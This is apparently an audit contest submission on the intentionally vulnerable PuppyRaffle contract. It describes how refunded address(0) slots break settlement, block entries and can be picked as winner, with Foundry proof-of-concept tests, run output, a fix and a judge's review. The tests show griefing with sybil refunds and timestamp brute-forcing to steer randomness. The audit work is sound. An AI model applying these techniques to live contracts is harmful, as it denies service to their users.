Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`PuppyRaffle` counts refunded tombstone slots as players: pot overcount bricks settlement, two tombstones block all new entries, and the RNG can select a tombstone as winner

furkanumut

Root + Impact

Description

Normally, a refunded player should stop counting toward the raffle: toward the pot, toward the pool of possible winners, and toward duplicate checks. However, in the current implementation only the address value is cleared — array length is unchanged — so every length-based computation still counts the refunded slots, while every address-based computation sees address(0).

The vulnerability exists in PuppyRaffle.sol#L96-L105, PuppyRaffle.sol#L128-L131, PuppyRaffle.sol#L86-L90 and PuppyRaffle.sol#L153.

Root Cause: Logic error — stale (tombstone) slots included in length-based accounting and in the winner-selection domain.

Vulnerable Code:

// File: src/PuppyRaffle.sol
​
// refund (L103): slot is zeroed but remains in the array
@> players[playerIndex] = address(0); // BUG: tombstone stays in `players`
​
// selectWinner (L128–131): tombstones counted in the pot and the winner domain
@> uint256 winnerIndex = uint256(keccak256(...)) % players.length;
@> uint256 totalAmountCollected = players.length * entranceFee; // BUG: includes refunded slots
​
// selectWinner (L153): reverts if a tombstone is "selected"
@> _safeMint(winner, tokenId); // reverts for winner == address(0)
​
// enterRaffle (L86–90): two tombstones are "duplicates" of each other
@> require(players[i] != players[j], "PuppyRaffle: Duplicate player"); // players[x] == players[y] == address(0)

Why This Is Exploitable:

  • (a) Bricked settlement: the pot is computed as players.length * entranceFee, but refunded ETH already left the contract. With 4 players and 1 refund, the balance is 3 ETH while prizePool is 3.2 ETH — the prize call underflows the balance and selectWinner reverts on every outcome once more than 20% of slots are tombstones.

  • (b) Entry blocked: two refunds leave two address(0) slots; the pairwise duplicate check then reverts every future enterRaffle call until settlement. An attacker triggers this for free with two sybil tickets and two refunds.

  • (c) Tombstone "winner": when the balance still covers the pot, an RNG outcome landing on a tombstone sends the prize to address(0) (the call succeeds) and then reverts in _safeMint ("ERC721: mint to the zero address"), reverting the whole settlement.

Risk

Likelihood:

  • Triggered by ordinary, advertised user behavior (refunding) — no attacker sophistication needed for (a) and (c).

  • (b) is a costless griefing vector: two sybil entries + two refunds block all new entries for the rest of the round.

Impact:

  • Round-level denial of service: settlement bricked (a), entry blocked (b), or specific outcomes always reverting (c).

  • Composition effect: when a round bricks with deposits still custodied, previously accrued fees stay locked behind the withdrawFees balance check as well.

  • No direct theft — users can always self-refund their own ticket.

Proof of Concept

// (a) refunded tombstones still count in the pot -> settlement always reverts
function testPoC_RefundedTombstonesOvercountPotBricksSettlement() public {
_enterFourHonestPlayers();
vm.prank(playerOne);
puppyRaffle.refund(0); // balance now 3 ether, players.length still 4
​
vm.warp(block.timestamp + duration + 1);
// prizePool = 4 * 1e18 * 80/100 = 3.2 ether > 3 ether balance -> always reverts
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
console2.log("settlement bricked: pot counted the refunded slot");
}
​
// (b) two refunded tombstones make the duplicate check revert all future entries
function testPoC_TwoRefundsBlockNewEntrants() public {
_enterFourHonestPlayers();
vm.prank(playerOne);
puppyRaffle.refund(0);
vm.prank(playerTwo);
puppyRaffle.refund(1);
// players = [0, 0, p3, p4]; duplicate check sees players[0] == players[1] == address(0)
address[] memory p = new address[](1);
p[0] = address(5);
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: entranceFee}(p);
console2.log("entry blocked until settlement: two address(0) tombstones trip the duplicate check");
}
​
// (c) RNG selecting a tombstone slot reverts settlement (mint to zero address)
function testPoC_TombstoneWinnerRevertsSettlement() public {
address[] memory players = new address[](6);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
players[4] = address(5);
players[5] = address(6);
puppyRaffle.enterRaffle{value: entranceFee * 6}(players);
vm.prank(address(6));
puppyRaffle.refund(5); // tombstone at index 5
​
uint256 startTs = block.timestamp + duration + 1;
address caller = address(0xCA11E4);
uint256 chosenTs;
bool found;
for (uint256 t = 0; t < 1000; t++) {
uint256 ts = startTs + t;
uint256 idx = uint256(keccak256(abi.encodePacked(caller, ts, block.difficulty))) % 6;
if (idx == 5) {
chosenTs = ts;
found = true;
break;
}
}
require(found, "no tombstone timestamp in range");
vm.warp(chosenTs);
vm.prank(caller);
vm.expectRevert("ERC721: mint to the zero address");
puppyRaffle.selectWinner();
console2.log("settlement reverted: winnerIndex selected the address(0) tombstone");
}

Run: forge test --match-test "testPoC_RefundedTombstonesOvercountPotBricksSettlement|testPoC_TwoRefundsBlockNewEntrants|testPoC_TombstoneWinnerRevertsSettlement" -vv

Output (actual run):

[PASS] testPoC_RefundedTombstonesOvercountPotBricksSettlement() (gas: 226420)
Logs:
settlement bricked: pot counted the refunded slot
​
[PASS] testPoC_TwoRefundsBlockNewEntrants() (gas: 220160)
Logs:
entry blocked until settlement: two address(0) tombstones trip the duplicate check
​
[PASS] testPoC_TombstoneWinnerRevertsSettlement() (gas: 254404)
Logs:
settlement reverted: winnerIndex selected the address(0) tombstone

  1. Four players enter (4 ETH); Alice refunds (balance 3 ETH, length still 4). After duration, any selectWinner call tries to pay a 3.2 ETH prize from a 3 ETH balance and always reverts.

  2. Alice and Bob refund; the array holds two address(0) slots. Every new enterRaffle reverts "Duplicate player".

  3. Six slots (five real players, one refunded tombstone, 5 ETH balance). A caller/timestamp pair whose index lands on the tombstone reverts the settlement with "ERC721: mint to the zero address".

Recommended Mitigation

Remove refunded players from the array (swap-and-pop) so length-based logic always reflects active players; this fixes all three sub-paths at once. Note that indices shift on refund — document this for integrators (Option 2: keep tombstones but compute the pot from an active-player counter, skip zero slots in winner selection, and ignore address(0) in the duplicate check).

Proposed Fix:

// File: src/PuppyRaffle.sol
​
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- players[playerIndex] = address(0);
+ players[playerIndex] = players[players.length - 1];
+ players.pop();
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}

References:

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert

## Description `PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with address(0) which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player. ## Vulnerability Details ```javascript players[playerIndex] = address(0); @> uint256 totalAmountCollected = players.length * entranceFee; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId); ``` If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has : ```javascript uint256 totalAmountCollected = players.length * entranceFee; uint256 prizePool = (totalAmountCollected * 80) / 100; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); ``` However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80% ...). The call will thankfully still fail because of the following line is minting to the zero address is not allowed. ```javascript _safeMint(winner, tokenId); ``` ## Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner`will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high ### Proof of concept To execute this test : forge test --mt testWinnerSelectionRevertsAfterExit -vvvv ```javascript function testWinnerSelectionRevertsAfterExit() public playersEntered { vm.warp(block.timestamp + duration + 1); vm.roll(block.number + 1); // There are four winners. Winner is last slot vm.prank(playerFour); puppyRaffle.refund(3); // reverts because out of Funds vm.expectRevert(); puppyRaffle.selectWinner(); vm.deal(address(puppyRaffle), 10 ether); vm.expectRevert("ERC721: mint to the zero address"); puppyRaffle.selectWinner(); } ``` ## Recommendations Delete the player index that has refunded. ```diff - players[playerIndex] = address(0); + players[playerIndex] = players[players.length - 1]; + players.pop() ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!